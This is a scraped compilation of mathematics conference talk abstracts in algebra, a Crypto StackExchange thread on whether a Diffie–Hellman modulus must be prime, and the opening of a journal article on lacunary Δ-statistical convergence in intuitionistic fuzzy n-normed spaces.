deformation map $r: H to A$. Finally, the classification of complements proves that there exists a bijection between the isomorphism classes of all $A$-complements of $G$ and a cohomological object ${mathcal D} , (H, A , | , (triangleright, triangleleft) )$. As an application we show that the theoretical formula for computing the number of isomorphism types of all groups of order $n$ arises only from the factorization $S_n = S_{n-1} C_n$.\n31.\nNASTASESCU Constantin\n\"Simion Stoilow\" Institute of Mathematics of the Romanian Academy, Romania\nTitle: Are graded semisimple algebras symmetric? (details)\nAbstract:\nWe study graded symmetric algebras, which are the symmetric monoids in the monoidal category of vector spaces graded by a group. We show that a finite dimensional graded division algebra whose dimension is not divisible by the characteristic of the base field is graded symmetric. Using the structure of graded simple(semisimple) algebras,we extend the results to these classes. In particular, in characteristic zero any graded semisimple algebra is graded symmetric. We show that the center of a finite dimensional graded division algebra is often symmetric.\n32.\nNICHITA Florin\nIMAR, ROMANIA\nTitle: Nonassociative Structures, Yang-Baxter Equations and Applications (details)\nAbstract:\nSeveral of our books, papers, talks and posters (since 1979 until now) treated topics on Jordan Algebras, Nonassociative Structures, Yang-Baxter Equations, Hopf Algebras and Quantum Groups. For example, we list the papers presented at previous congresses: F.F. Nichita, Lie algebras and Yang-Baxter equations, Bull. Trans. Univ. Brasov, Series III, Vol. 5 (54), 2012, Special Issue: Proceedings of the 7-th Congress of Romanian Mathematicians, Brasov, 2011, 195-208. F.F. Nichita and D. Parashar, Coloured bialgebras and nonlinear equations, Proceedings of the 6-th Congress of Romanian Mathematicians, Bucharest, 2007, Editura Academiei, vol. 1, 65-70, 2009. Recently, we published some joint works on the above mentioned topics: Radu Iordanescu, Florin F. Nichita, Ion M. Nichita, The Yang-Baxter equation, (quantum) computers and unifying theories, Axioms, 2014; 3(4):360-368. Radu Iordanescu, Florin F. Nichita, Ion M. Nichita, Non-associative algebras, Yang-Baxter equations, and quantum computers, Bulg. J. Phys., vol.41, n.2, 2014, 71-76. Motivated by the above achievements we would like to present new results and directions of study.\n33.\nOLTEANU Anda - Georgiana\nUniversity Politehnica of Bucharest & \"Simion Stoilow\" Institute of Mathematics of the Romanian Academy, Romania\nTitle: Classes of path ideals and their algebraic properties (details)\nAbstract:\nGiven a directed graph $G$, the path ideal of the graph $G$ (of length $t\\geq 2$) is the monomial ideal $I_t(G)$ generated by the squarefree monomials which correspond to the directed paths of length $t$ in $G$. Classes of directed graphs arise from posets. We consider path ideals associated to special classes of posets such as tree posets and cycles. We express their property of being sequentially Cohen--Macaulay in terms of the underlying poset. For Alexander dual of cycle posets, we compute the Castelnuovo--Mumford regularity and, as a consequence, we get the projective dimension of path ideals of cycle posets. We also pay attention to path ideals of powers of the line graph and study the property of being sequentially Cohen--Macaulay and having a linear resolution. The results are expressed in terms of the combinatorics of the underlying poset.\n34.\nPANAITE Florin\nInstitute of Mathematics of the Romanian Academy, Romania\nTitle: Hom-structures (details)\nAbstract:\nHom-structures (Hom-associative algebras, Hom-Lie algebras etc) are generalizations of classical algebraic structures in which the defining identities are twisted by certain homomorphisms. We will present some recently introduced concepts, constructions and properties involving Hom-structures (such as twisted tensor products, smash products etc).\n35.\nPASOL Vicentiu\nIMAR, Romania\nTitle: p-adic Analytic Functions from Recurrence Sequences (details)\nAbstract:\nB. Berndt, S. Kim and A. Zaharescu, in their study of the diophantine approximation of $e^{2/a}$ have constructed certain $p$-adic functions, naturally arising from the sequence of convergents of $e$. They prove that for certain primes $p$, these functions are continuous. They raised the question if those functions are in fact rigid analytic. We prove that in fact this question has a positive answer for all primes $p$.\n36.\nPOP Horia\nMt San Antonio College, USA\nTitle: Heisenberg algebras and coefficient rings (details)\nAbstract:\ndocumentstyle[11pt]{article} %title{} %date{} thispagestyle{empty} setlength{oddsidemargin}{-0.1in} setlength{topmargin}{-1.0in} setlength{topskip}{2.0cm} textwidth6.9in textheight9.4in parskip0.2cm setlength{leftmargin}{-0.6cm} %pagestyle{empty} newcommand{noind}{noindent} newcommand{non}{noindent} newcommand{no}{noindent} newcommand{n}{noindent} begin{document} begin{center} %n {bf Heisenberg algebras and coefficient rings }hfill\\ {bf small Horia Pop, Mt San Antonio College, Walnut CA }hfill end{center} {small n In the noncommutative theory of local rings, the existence of coefficient fields is not always granted. We study a counter-example constructed using an enveloping algebra of a Heisenberg algebra to see how to describe a {em good coefficient ring} for a non-commutative local ring, with commutative residue field. Further, dealing with the case of a noncommutative residue division algebra, we use a theorem of Hochschild on the Brauer group to describe a canonical coefficient ring in the case when the exponent of the residue division algebra is prime to the characteristic of the residue field. end{document}\n37.\nPOPA Alexandru Anton\nIMAR, Bucuresti, Romania\nTitle: On the trace formula for Hecke operators (details)\nAbstract:\nWe present a new, simple proof of the trace formula for Hecke operators on modular forms for congruence subgroups. It is based on an approach for the full modular group sketched by Don Zagier more than 20 years ago, by computing the trace of Hecke operators on the space of period polynomials associated with modular forms. This algebraic proof has been recently sharpened in a joint work with Zagier, and we show that it generalizes to congruence subgroups as well. We use the theory of period polynomials for congruence subgroups, developed jointly with Vicentiu Pasol.\n38.\nPOPESCU Dorin\nInstitute of Mathematics IMAR, Romania\nTitle: A theorem of Ploski's type (details)\nAbstract:\nLet ${\\bf C}{x}$, $x=(x_1,ldots,x_n)$, $f=(f_1,ldots,f_s)$ be some convergent power series from ${\\bf C}{x,Y}$, $Y=(Y_1,ldots,Y_N)$ and $y$ in {\\bf C}[[x]]^N$with$ y(0)=0$be a solution of$f=0$. Then Ploski proved that the map$v:B={\\bf C}{x,Y}/(f)\\rightarrow {\\bf C}[[x]]$given by$Y\\rightarrow y$factors through an$A$-algebra of type$B'={\\bf C}{x,Z}$for some variables$Z=(Z_1,ldots,Z_s)$, that is$v$is a composite map$B\\rightarrow B'\\rightarrow {\\bf C}[[x]]$. Now, let$(A,m)$be an excellent Henselian local ring,$ A'$its completion,$B$a finite type$A$-algebra and$v:B\\rightarrow A'$an$A$-morphism. Then we show that$v$factors through an$A$-algebra of type$ A[Z]^h$for some variables$Z=(Z_1,ldots,Z_s)$, where$A[Z]^h$is the Henselization of$A[Z]_{(m,Z)}$. 39. POPESCU Sever - Angel Technical University of Civil Engineering Bucharest, ROMANIA Title: On the v-extensions of a valued field, by Victor Alexandru and Sever Angel Popescu (details) Abstract: On the v-extensions of a valued field by Victor Alexandru and Sever Angel Popescu Abstract. Let (K,v) be a perfect nontrivial Krull valued field of rank 1 and let w be an extension of v to a fixed algebraic closure Ω of K. An intermediate valued field (L,w) is called a v-extension of (K,v) if v does not split in L. If (L,v) is maximal with this property, we say that it is a v-maximal extension of (K,v). For instance, if (K,v) is a henselian field, then the only v-maximal extension of (K,v) is L = Ω. We prove in this note that if (K,v) is a (finite) algebraic number field, then any v-maximal extension of it cannot be a normal extension of K. On the other hand, in the case of the rational function field, with coefficients in a field k of characteristic zero, endowed with the X-adic valuation, we give a constructive example of an X-adic maximal extension L of K which is also a normal extension of K. 40. RAIANU Serban California State University, Dominguez Hills, USA Title: A Coring Version of External Homogenization for Hopf Algebras (details) Abstract: We give a coring version for the external homogenization for Hopf algebras, which is a generalization of a construction from graded rings, called the group ring of a graded ting. We also provide a coring version of a Maschke-type theorem. 41. RAICU Claudiu University of Notre Dame, USA Title: The syzygies of some thickenings of determinantal varieties (details) Abstract: The space of mxn matrices admits a natural action of the group GL_m x GL_n via row and column operations on the matrix entries. The invariant closed subsets are the determinantal varieties defined by the (reduced) ideals of minors of the generic mxn matrix. The minimal free resolutions for these ideals are well-understood by work of Lascoux and others. There are however many more invariant ideals which are non-reduced, and whose syzygies are quite mysterious. These ideals correspond to nilpotent structures on the determinantal varieties, and they have been completely classified by De Concini, Eisenbud and Procesi. In my talk I will recall the classical description of syzygies of determinantal varieties, and explain how this can be extended to a large collection of their thickenings. 42. RUDEANU Sergiu Faculty of Mathematics and Computer Science, University of Bucharest, Romania Title: Most general forms in the study of Boolean equations (details) Abstract: TBA 43. SECELEANU Alexandra University of Nebraska-Lincoln, USA Title: Polynomial growth for Betti numbers (details) Abstract: It is well known that the asymptotic patterns of the Betti sequences of the finitely generated modules over a local ring R reflect the structure of R. For instance, these sequences are eventually zero if and only if R is regular (Auslander and Buchsbaum, Serre) and they are eventually constant if and only if R is a hypersurface (Shamash, Gulliksen, Eisenbud). We consider the problem of characterizing the rings R such that every R-module has Betti numbers eventually given by some polynomial. We give necessary and sufficient conditions for R to have this property. In some important cases, for example when R is homogeneous, these conditions coincide and therefore characterize R. 44. STAIC Mihai Bowling Green State University, USA Title: Operations on the Secondary Hochschild Cohomology (details) Abstract: Secondary cohomology is associated to a triple$(A, B, varepsilon)$, and was introduced in order to describe all the$B$-algebra structures on$A[[t]]$at the same time. We present some results related to this cohomology: the cup and bracket product, the Hodge decomposition, the bar complex, and the secondary cyclic cohomology associated to the triple$(A, B, varepsilon)$. 45. STAMATE Dumitru University of Bucharest, Romania Title: Ungraded strongly Koszul rings (details) Abstract: Various methods have been designed for checking that a standard graded algebra is Koszul, some being more efficient than the others. We are interested in semigroup rings R= K[H], which are not usually standard graded. In this context we introduce the strongly Koszul property, extending in a natural way the similar concept of Herzog, Hibi and Restuccia for standard graded K-algebras. We show that if K[H] is strongly Koszul, then its associated graded ring grK[H] is a Koszul ring in the classical sense and that the two rings have the same Poincare series. Our toolbox includes sequentially Cohen- Macaulayness and shellability for posets. This is a preliminary report on work in progress with Juergen Herzog, Essen, Germany. 46. STANCU Radu LAMFA, Universite de Picardie, France Title: Extentions of cohomological Mackey functors (details) Abstract: Let$k$be a field of characteristic$p$and$G$a finite group. The cohomological Mackey functors for$G$over$k$are modules over a specific finitely generated algebra$co\\mu_k(G)$, called the cohomological Mackey algebra. This algebra shares many properties with the usual group algebra, and most questions about modules over the group algebra and methods used for them can be extended to Mackey functors : e.g. relative projectivity, vertex and source theory, Green correspondence, the central role played by the elementary abelian$p$-groups. These resemblances raise some natural questions, whether, a given theorem on$kG$admits an analogue for$co\\mu_k(G)$. This was the main motivation in a previous work of Serge Bouc, where the question of complexity of cohomological Mackey functors was solved (in the only non-trivial case where$p$divides the order of$G$). It was also shown there how this question can be reduced to the consideration of elementary abelian$p$-groups$E$appearing as subquotients of$G$, and to the knowledge of enough information on the algebra$\\Ee=\\Ext^*_{co\\mu_k(E)}(S_1^E,S_1^E)$of self-extensions of a particular simple functor$S_1^E$for these groups. The aim of the talk I give - which is based on a joint work with Serge Bouc - is to recall the basic properties of cohomological Mackey functors and give insight into how one can get an explicit presentation of the algebra$\\Ext^*_{co\\mu_k(G)}(S_1^G,S_1^G)$, when$G$is an elementary abelian$p$-group. 47. STEFANESCU Doru University of Bucharest, Romania Title: Irreducibility criteria for polynomials over discrete valuation domains (details) Abstract: \\begin{abstract} We study properties of the Newton polygon of a product of two polynomials over a discrete valuation domain$(A,v)$and we establish corresponding properties of the Newton index of a polynomial in$A[X]\\,$. There are deduced factorization properties of polynomials over$A$and there are obtained new irreducibility criteria. \\smallskip The results are used for generating classes of irreducible polynomials over various discrete valuation domains. In particular we obtain criteria for quasi-generalized difference polynomials, for univariate polynomials over$\\Z\\,$and for polynomials over formal power series. \\end{abstract} 48. SZOLLOSI Istvan Babes-Bolyai University, Romania Title: Computation of Hall polynomials in the Euclidean case (details) Abstract: Let$kQ$be the path algebra of the acyclic quiver$Q=(Q_{0},Q_{1})$over the finite field$k$(here$Q_{0}$is the set of vertices and$Q_{1}$the set of arrows). We will consider the category$\\mbox{mod-}kQ$of finite$k$-dimensional right modules over$kQ$, which can be identified with the category$\\mbox{rep-}kQ$of the finite dimensional$k$-representations of the quiver$Q$. Denote by$[X]$the isomorphism class of a module$X$in$\\mbox{mod-}kQ$. The Ringel-Hall algebra$H(kQ)$associated to the algebra$kQ$is the rational space having as basis the isomorphism classes in$\\mbox{mod-}kQ$together with a multiplication defined by$[N_{1}][N_{2}]=\\sum_{[M]}F_{N_{1}N_{2}}^{M}[M]$, where the structure constant$F_{N_{1}N_{2}}^{M}$is the number of submodules$U$of$M$such that$U$is isomorphic to$N_{2}$and$M/U$is isomorphic to$N_{1}$. These structure constants are also called Ringel-Hall numbers. One can see that$H(kQ)$is an associative rational algebra with identity$$. In case of Dynkin and Euclidean (tame) quivers the Ringel-Hall numbers are polynomials in the number of elements of the base field. These are the Hall polynomials, which appear in various contexts: they are the structure constants of quantum groups, they are used in the theory of cluster algebras and they can also be used successfully to investigate the structure of the module category. Apart from Ringel's famous list of Hall polynomials in the Dynkin case and a limited number of special cases, our knowledge on Hall polynomials is scarce. We present some of the theoretical and computational challenges one has to deal with, when trying to compute Hall polynomials. Deep theoretical results, unusual techniques, complex algorithms and huge computing power are all required in the process of obtaining these polynomials. We focus on the computational aspect of the problem and also present the first results of our quest. 49. TODEA Constantin - Cosmin Technical University of Cluj-Napoca, Romania Title: Bockstein homomorphisms for Hochschild cohomology of group algebras and of block algebras of finite groups (details) Abstract: The Bockstein homomorphism in group cohomology is the connecting homomorphism in the long exact sequence associated to some short exact sequence of coefficients. It appears in the Bockstein spectral sequence, which is a tool for comparing integral and mod$p$cohomology ($p$is a prime), and has applications for Steenrod operations. We will define the Bockstein homomorphisms for the Hochschild cohomology of a group algebra and of a block algebra of a finite group and we show some properties. To give explicit definitions for these maps we use and additive decomposition and a product formula for the Hochschild cohomology$HH^*(kG)$, given by Siegel and Witherspoon in 1999, where$G$is a finite group and$k$is an algebraically closed field of characteristic$p$. We obtain similar results for the cohomology algebra of a defect group of$B$with coefficients in the source algebra of a block algebra$B$of$kG$. 50. URSU Vasile Institute of Matematics Simion Stoilow of the Romanian Academy, Technical University of Moldova, Moldova Title: Commutators theory in language congruences for modular algebraic system (details) Abstract: In V.A. Gorbunov asked a different definition of congruence on an algebraic system that is determined before. In this definition, congruence is associated not only with the basic operations and the basic relationships that would greatly extend the results and methods for universal algebra in the theory of algebraic systems. Following Gunma , in this work we were able to describe the theory of the switches in the language of the congruence of the algebraic system. It is possible to introduce the notion of Abelian, nilpotent and solvable algebraic systems which generalize concepts in universal algebra. References V.А. Gorbunov. Algebraic theory of quasivarieties, Siberian school of algebra and logic, Novosibirsk \"Science Book\", 1999. H.P. Gumm. An easy way to the commutator in modular varieties, Arch. Math., 1980, 34, 220-228. 51. VELICHE Oana Notheastern University, USA Title: Intersections and Sums of Gorenstein ideals (details) Abstract: A complete local ring of embedding codepth$3$has a minimal free resolution of length$3$over a regular local ring. Such resolutions carry a differential graded algebra structure, based on which one can classify local rings of embedding codepth$3$. The Gorenstein rings of embedding codepth$3$belong to the class called {bf G}$(r)$, which was conjectured not to contain any non Gorenstein rings. In a previous work with Lars W. Christensen and Jerzy Weyman we gave examples and constructed non Gorenstein rings in {bf G}$(r)$, for any$rgeq 2$. We show now that one can get such rings generically, from intersections of Gorenstein ideals. The class of the rings obtained from sums of such ideals will also be discussed. 52. VLADOIU Marius University of Bucharest, Romania Title: Bouquet Algebra of Toric Ideals (details) Abstract: To any toric ideal (encoded by an integer matrix A) we associate a matroid structure called the bouquet graph of A, and introduce another toric ideal called the bouquet ideal of A, which captures the essential combinatorics of the initial toric ideal. The new bouquet framework allows us to answer some open questions about toric ideals. For example, we provide a characterization of toric ideals forwhich the following sets are equal: the Graver basis, the universal Groebner basis,any reduced Groebner basis and any minimal generating set. Moreover, we show that toric ideals of hypergraphs encode all toric ideals. 53. VRACIU Adela University of South Carolina, U.S.A. Title: Totally reflexive modules for Stanley-Reisner rings of graphs (details) Abstract: For a Cohen-Macaulay non-Gorenstein ring it is known that either there are infinitely many isomorphism classes of indecomposable totally reflexive modules, or else there are none except for the free modules. However it is not known how to determine which of this situations holds for a given ring. We investigate this question for the case of Stanley-Reisner rings of graphs. 54. WELKER Volkmar Universtaet Marburg, Germany Title: Ideals of orthogonal graph representations (details) Abstract: We describe algebraic properties of an ideal associated to an undirected graph by Lovasz, Saks and Schrijver. Over the reals it describes orthogonal representations of graphs in Euclidian space. 55. ZAROJANU Andrei IMAR, Romania Title: On the Stanley Depth (details) Abstract: Let$I \\supset J$be two squarefree monomial ideals of a polynomial algebra over a field generated in degree$\\geq d$, resp.$\\geq d+1$. If the Stanley depth of$I/J$is$\\leq d+1$then the usual depth of$I/J$is$\\leq d+1$if$I$has at most four generators of degree$d\\$."
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https://crypto.stackexchange.com/questions/30328/why-does-the-modulus-of-diffie-hellman-need-to-be-a-prime | [
"# Why does the modulus of Diffie–Hellman need to be a prime?\n\nI read a lot about Diffie-Hellman, but there is one thing I dont understand: why does the modulus p need to be a prime? What if it would not be a prime?\n\nLet $n:=p$ and you want to find $x$ with $g^{x} \\equiv y \\bmod pq$\n\nCalculate the two easier DL problems:\n${x_p}$ with $g^{x_p} \\equiv y \\bmod p$\n${x_q}$ with $g^{x_q} \\equiv y \\bmod q$\n\nNote that\n$x_p \\equiv x \\bmod p-1$\n$x_q \\equiv x \\bmod q-1$\n\nWith the chinese remainder theorem you can calculate $x'$ from $x_p$ and $x_q$ with\n$x' \\equiv x \\bmod lcm(p-1, q-1)$\n\n• Thank you. It is essential that adversary is supposed to be able to solve DL problem for prime-modulus groups from factorization. – Vadym Fedyukovych Dec 6 '15 at 20:39\n• once you get $x \\pmod{lcm(p-1, q-1)}$ how do you get it mod $(p-1)(q-1)$? – David 天宇 Wong Mar 5 '16 at 22:35\n\nIt has to do with the Diffie–Hellman assumption. The DH key exchange is secure in groups where the computational DH assumption holds. One of the simplest such groups is the multiplicative group modulo a large prime.\n\nHowever, that is not necessarily required. At least some composite integers with unknown factors would make a secure Diffie–Hellman modulus, assuming factoring is hard.\n\n• If the modulus is not prime, someone who knows the factorisation may break the DH. One can easily show that the modulus is prime and that proves that the DH is secure. On the other hand, you cannot prove that you do't know the factorisation of a composite modulus. – user27950 Nov 5 '15 at 11:51\n• Ok, the security depends on Eve not to be able to find - if there are - factors of p. But how can Eve break DH if she knows factors of p? – Martin Nov 5 '15 at 12:01\n• you can use the chinese remainder theorem – user27950 Nov 5 '15 at 14:56\n• Yes, the factors need to be secret. One of the participants in an ephemeral key exchange could safely generate them (if they can be authenticated), but not sure it has any advantages over a prime modulus. – otus Nov 5 '15 at 17:23\n• @Cryptostasis May I second Martin's request please? Exactly how would CRT help breaking CDH? – Vadym Fedyukovych Dec 5 '15 at 17:51\n\nIt does not need to be a prime. All that's required for the ciphering scheme to work for a (g, p) pair is that g is a generating element for the cyclic multiplicative group defined by p.\n\nThe opposition to using non-prime p usually based on the fact that knowing factorization of p makes the cipher easier to break by solving \"easier\" problems for each of its factors. However, this is nothing more than a logical fallacy. If the problem is hard to solve for a prime p, it will be as hard (or harder) to solve for any composite number that has p as a factor.\n\n• Actually, it's the other way around if you consider that it's not $p$ compared to a multiple of $p$. It only makes sense to compare $p$ to some composite of equal length. And that implies the prime factors are at most half the size - which is a lot easier for each factor and combining them back together is comparably irrelevant due to CRT. Even if the full factorization is not known, every known small prime just reduces the size of the given problem. Btw., this question is over 3 years old. – tylo Jan 18 at 19:15"
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https://journalofinequalitiesandapplications.springeropen.com/articles/10.1186/1029-242X-2014-40 | [
"# Lacunary Δ-statistical convergence in intuitionistic fuzzy n-normed space\n\n## Abstract\n\nThe concept of lacunary statistical convergence was introduced in intuitionistic fuzzy n-normed spaces in Sen and Debnath (Math. Comput. Model. 54:2978-2985, 2011). In this article, we introduce the notion of lacunary Δ-statistically convergent and lacunary Δ-statistically Cauchy sequences in an intuitionistic fuzzy n-normed space. Also, we give their properties using lacunary density and prove relation between these notions.\n\nMSC:47H10, 54H25.\n\n## 1 Introduction\n\nFuzzy set theory was introduced by Zadeh in 1965. This theory has been applied not only in different branches of engineering such as in nonlinear dynamic systems , in the population dynamics , in the quantum physics , but also in many fields of mathematics such as in metric and topological spaces , in the theory of functions [8, 9], in the approximation theory . 2-normed and n-normed linear spaces were initially introduced by Gähler [11, 12] and further studied by Kim and Cho , Malceski and Gunawan and Mashadi . Vijayabalaji and Narayanan defined fuzzy n-normed linear space. After Saadati and Park introduced the concept of intuitionistic fuzzy normed space, Vijayabalaji et al. defined the notion of intuitionistic fuzzy n-normed space. The notion of statistical convergence was investigated by Steinhaus and Fast . Then a lot of authors applied this concept to probabilistic normed spaces [21, 22], random 2-normed spaces and finally intuitionistic fuzzy normed spaces [24, 25]. Fridy and Orhan introduced the idea of lacunary statistical convergence. Using this idea, Mursaleen and Mohiuddine , Sen and Debnath investigated lacunary statistical convergence in intuitionistic fuzzy normed spaces and intuitionistic fuzzy n-normed spaces, respectively. The idea of difference sequences was introduced by Kızmaz where $\\mathrm{\\Delta }x=\\left(\\mathrm{\\Delta }{x}_{k}\\right)={x}_{k}-{x}_{k+1}$. Başarır introduced the Δ-statistical convergence of sequences. Bilgin introduced the definition of lacunary strongly Δ-convergence of fuzzy numbers. Hazarika gave the definition of lacunary generalized difference statistical convergence in random 2-normed spaces. Also, the generalized difference sequence spaces were studied by various authors . In this article, we shall introduce lacunary Δ-statistical convergence and lacunary Δ-statistically Cauchy sequences in IFnNLS.\n\n## 2 Preliminaries, background and notation\n\nIn this section, we give the basic definitions.\n\nDefinition 2.1 ()\n\nA binary operation $\\ast :\\left[0,1\\right]×\\left[0,1\\right]\\to \\left[0,1\\right]$ is said to be a continuous t-norm if it satisfies the following conditions:\n\n1. (i)\n\nis associative and commutative,\n\n2. (ii)\n\nis continuous,\n\n3. (iii)\n\n$a\\ast 1=a$ for all $a\\in \\left[0,1\\right]$,\n\n4. (iv)\n\n$a\\ast b\\le c\\ast d$ whenever $a\\le c$ and $b\\le d$ for each $a,b,c,d\\in \\left[0,1\\right]$.\n\nDefinition 2.2 ()\n\nA binary operation $\\circ :\\left[0,1\\right]×\\left[0,1\\right]\\to \\left[0,1\\right]$ is said to be a continuous t-conorm if it satisfies the following conditions:\n\n1. (i)\n\nis associative and commutative,\n\n2. (ii)\n\nis continuous,\n\n3. (iii)\n\n$a\\circ 0=a$ for all $a\\in \\left[0,1\\right]$,\n\n4. (iv)\n\n$a\\circ b\\le c\\circ d$ whenever $a\\le c$ and $b\\le d$ for each $a,b,c,d\\in \\left[0,1\\right]$.\n\nDefinition 2.3 ()\n\nLet $n\\in \\mathbb{N}$ and X be a real vector space of dimension $d\\ge n$ (here we allow it to be infinite). A real-valued function $\\parallel •,\\dots ,•\\parallel$ on $X×\\cdots ×X={X}^{n}$ satisfying the following four properties:\n\n1. (i)\n\n$\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n}\\parallel =0$ if and only if ${x}_{1},{x}_{2},\\dots ,{x}_{n}$ are linearly dependent,\n\n2. (ii)\n\n${x}_{1},{x}_{2},\\dots ,{x}_{n}$ are invariant under any permutation,\n\n3. (iii)\n\n$\\parallel {x}_{1},{x}_{2},\\dots ,\\alpha {x}_{n}\\parallel =|\\alpha |\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n}\\parallel$ for any $\\alpha \\in \\mathbb{R}$,\n\n4. (iv)\n\n$\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n-1},y+z\\parallel \\le \\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n-1},y\\parallel +\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n-1},z\\parallel$,\n\nis called an n-norm on X and the pair is called an n-normed space.\n\nDefinition 2.4 ()\n\nAn IFnNLS is the five-tuple $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ where X is a linear space over a field F, is a continuous t-norm, is a continuous t-conorm, μ, υ are fuzzy sets on ${X}^{n}×\\left(0,\\mathrm{\\infty }\\right)$, μ denotes the degree of membership and υ denotes the degree of nonmembership of $\\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)\\in {X}^{{n}^{}}×\\left(0,\\mathrm{\\infty }\\right)$ satisfying the following conditions for every $\\left({x}_{1},{x}_{2},\\dots ,{x}_{n}\\right)\\in {X}^{{n}^{}}$ and $s,t>0$:\n\n1. (i)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)+\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)\\le 1$,\n\n2. (ii)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)>0$,\n\n3. (iii)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=1$ if and only if ${x}_{1},{x}_{2},\\dots ,{x}_{n}$ are linearly dependent,\n\n4. (iv)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)$ is invariant under any permutation of ${x}_{1},{x}_{2},\\dots ,{x}_{n}$,\n\n5. (v)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,c{x}_{n},t\\right)=\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},\\frac{t}{|c|}\\right)$ for all $c\\ne 0$, $c\\in F$,\n\n6. (vi)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},s\\right)\\ast \\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n}^{\\prime },t\\right)\\le \\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n}+{x}_{n}^{\\prime },s+t\\right)$,\n\n7. (vii)\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right):\\left(0,\\mathrm{\\infty }\\right)\\to \\left[0,1\\right]$ is continuous in t,\n\n8. (viii)\n\n${lim}_{t\\to \\mathrm{\\infty }}\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=1$ and ${lim}_{t\\to 0}\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=0$,\n\n9. (ix)\n\n$\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)<1$,\n\n10. (x)\n\n$\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=0$ if and only if ${x}_{1},{x}_{2},\\dots ,{x}_{n}$ are linearly dependent,\n\n11. (xi)\n\n$\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)$ is invariant under any permutation of ${x}_{1},{x}_{2},\\dots ,{x}_{n}$,\n\n12. (xii)\n\n$\\upsilon \\left({x}_{1},{x}_{2},\\dots ,c{x}_{n},t\\right)=\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},\\frac{t}{|c|}\\right)$ for all $c\\ne 0$, $c\\in F$,\n\n13. (xiii)\n\n$\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},s\\right)\\circ \\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n}^{\\prime },t\\right)\\ge \\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n}+{x}_{n}^{\\prime },s+t\\right)$\n\n14. (xiv)\n\n$\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right):\\left(0,\\mathrm{\\infty }\\right)\\to \\left[0,1\\right]$ is continuous in t,\n\n15. (xv)\n\n${lim}_{t\\to \\mathrm{\\infty }}\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=0$ and ${lim}_{t\\to 0}\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=1$.\n\nExample 2.1 ()\n\nLet $\\left(X,\\parallel •,\\dots ,•\\parallel \\right)$ be an n-normed linear space. Also let $a\\ast b=ab$ and $a\\circ b=min\\left\\{a+b,1\\right\\}$ for all $a,b\\in \\left[0,1\\right]$,\n\n$\\mu \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=\\frac{t}{t+\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n}\\parallel }\\phantom{\\rule{1em}{0ex}}\\text{and}\\phantom{\\rule{1em}{0ex}}\\upsilon \\left({x}_{1},{x}_{2},\\dots ,{x}_{n},t\\right)=\\frac{\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n}\\parallel }{t+\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n}\\parallel }.$\n\nThen $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ is an IFnNLS.\n\nDefinition 2.5 ()\n\nA lacunary sequence is an increasing integer sequence $\\theta =\\left\\{{k}_{r}\\right\\}$ such that ${k}_{0}=0$ and ${h}_{r}={k}_{r}-{k}_{r-1}\\to \\mathrm{\\infty }$ as $r\\to \\mathrm{\\infty }$. The intervals determined by θ will be denoted by ${I}_{r}=\\left({k}_{r-1},{k}_{r}\\right]$ and the ratio $\\frac{{k}_{r}}{{k}_{r-1}}$ will be abbreviated as ${q}_{r}$. Let $K\\subseteq \\mathbb{N}$. The number\n\n${\\delta }_{{\\theta }_{}}\\left(K\\right)=\\underset{r}{lim}\\frac{1}{{h}_{r}}|\\left\\{k\\in {I}_{r}:k\\in K\\right\\}|$\n\nis said to be the θ-density of K, provided the limit exists.\n\nDefinition 2.6 ()\n\nLet θ be a lacunary sequence. A sequence $x=\\left\\{{x}_{k}\\right\\}$ of numbers is said to be lacunary statistically convergent (or ${S}_{\\theta }$-convergent) to the number L if for every $\\epsilon >0$, the set $K\\left(\\epsilon \\right)$ has θ-density zero, where\n\n$K\\left(\\epsilon \\right)=\\left\\{k\\in \\mathbb{N}:|{x}_{k}-L|\\ge \\epsilon \\right\\}.$\n\nIn this case, we write ${S}_{\\theta }\\text{-}limx=L$.\n\n## 3 Δ-Convergence and lacunary Δ-statistical convergence in IFnNLS\n\nIn this section, we define Δ-convergence and lacunary Δ-statistical convergence in intuitionistic fuzzy n-normed spaces.\n\nDefinition 3.1 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. A sequence $x=\\left\\{{x}_{k}\\right\\}$ in X is said to be Δ-convergent to $L\\in X$ with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$ if, for every $\\epsilon >0$, $t>0$ and 